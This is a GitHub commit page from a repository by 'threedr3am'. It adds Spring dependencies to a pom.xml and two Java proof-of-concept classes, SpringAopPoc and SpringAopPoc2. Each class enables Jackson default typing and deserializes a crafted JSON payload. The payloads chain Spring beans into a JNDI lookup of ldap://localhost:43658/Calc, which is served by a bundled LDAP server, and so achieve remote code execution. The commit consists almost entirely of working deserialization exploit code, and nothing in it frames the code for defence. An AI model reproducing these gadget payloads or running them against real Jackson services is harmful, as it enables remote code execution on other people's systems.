Skip to content

Commit f201def

Browse files
author
“threedr3am”
committed
feat:添加jackson-gadget
1 parent 94979ad commit f201def

File tree

3 files changed

+122
-0
lines changed

3 files changed

+122
-0
lines changed

jackson/pom.xml

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -154,6 +154,27 @@
154154
</dependency>
155155

156156

157+
<dependency>
158+
<groupId>org.springframework</groupId>
159+
<artifactId>spring-core</artifactId>
160+
<version>4.3.26.RELEASE</version>
161+
</dependency>
162+
<dependency>
163+
<groupId>org.springframework</groupId>
164+
<artifactId>spring-beans</artifactId>
165+
<version>3.0.7.RELEASE</version>
166+
</dependency>
167+
<dependency>
168+
<groupId>org.springframework</groupId>
169+
<artifactId>spring-aop</artifactId>
170+
<version>4.3.26.RELEASE</version>
171+
</dependency>
172+
<dependency>
173+
<groupId>org.springframework</groupId>
174+
<artifactId>spring-web</artifactId>
175+
<version>4.3.26.RELEASE</version>
176+
</dependency>
177+
157178
</dependencies>
158179

159180
</project>
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* spring gadget
10+
*
11+
* <dependency>
12+
* <groupId>org.springframework</groupId>
13+
* <artifactId>spring-core</artifactId>
14+
* <version>4.3.26.RELEASE</version>
15+
* </dependency>
16+
* <dependency>
17+
* <groupId>org.springframework</groupId>
18+
* <artifactId>spring-beans</artifactId>
19+
* <version>4.3.26.RELEASE</version>
20+
* </dependency>
21+
* <dependency>
22+
* <groupId>org.springframework</groupId>
23+
* <artifactId>spring-aop</artifactId>
24+
* <version>4.3.26.RELEASE</version>
25+
* </dependency>
26+
* <dependency>
27+
* <groupId>org.springframework</groupId>
28+
* <artifactId>spring-web</artifactId>
29+
* <version>4.3.26.RELEASE</version>
30+
* </dependency>
31+
*
32+
* @author threedr3am
33+
*/
34+
public class SpringAopPoc {
35+
36+
static {
37+
//rmi server示例
38+
// RmiServer.run();
39+
40+
//ldap server示例
41+
LdapServer.run();
42+
}
43+
44+
public static void main(String[] args) throws IOException {
45+
ObjectMapper mapper = new ObjectMapper();
46+
mapper.enableDefaultTyping();
47+
48+
String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
49+
Object o = mapper.readValue(json, Object.class);
50+
}
51+
52+
53+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* spring gadget
10+
*
11+
* <dependency>
12+
* <groupId>org.springframework</groupId>
13+
* <artifactId>spring-core</artifactId>
14+
* <version>4.3.26.RELEASE</version>
15+
* </dependency>
16+
* <dependency>
17+
* <groupId>org.springframework</groupId>
18+
* <artifactId>spring-beans</artifactId>
19+
* <version>3.0.7.RELEASE</version>
20+
* </dependency>
21+
* <dependency>
22+
* <groupId>org.springframework</groupId>
23+
* <artifactId>spring-web</artifactId>
24+
* <version>4.3.26.RELEASE</version>
25+
* </dependency>
26+
*
27+
* @author threedr3am
28+
*/
29+
public class SpringAopPoc2 {
30+
31+
static {
32+
//rmi server示例
33+
// RmiServer.run();
34+
35+
//ldap server示例
36+
LdapServer.run();
37+
}
38+
39+
public static void main(String[] args) throws IOException {
40+
ObjectMapper mapper = new ObjectMapper();
41+
mapper.enableDefaultTyping();
42+
43+
String json = "[\"org.springframework.beans.factory.config.BeanReferenceFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
44+
Object o = mapper.readValue(json, Object.class);
45+
}
46+
47+
48+
}

0 commit comments

Comments
 (0)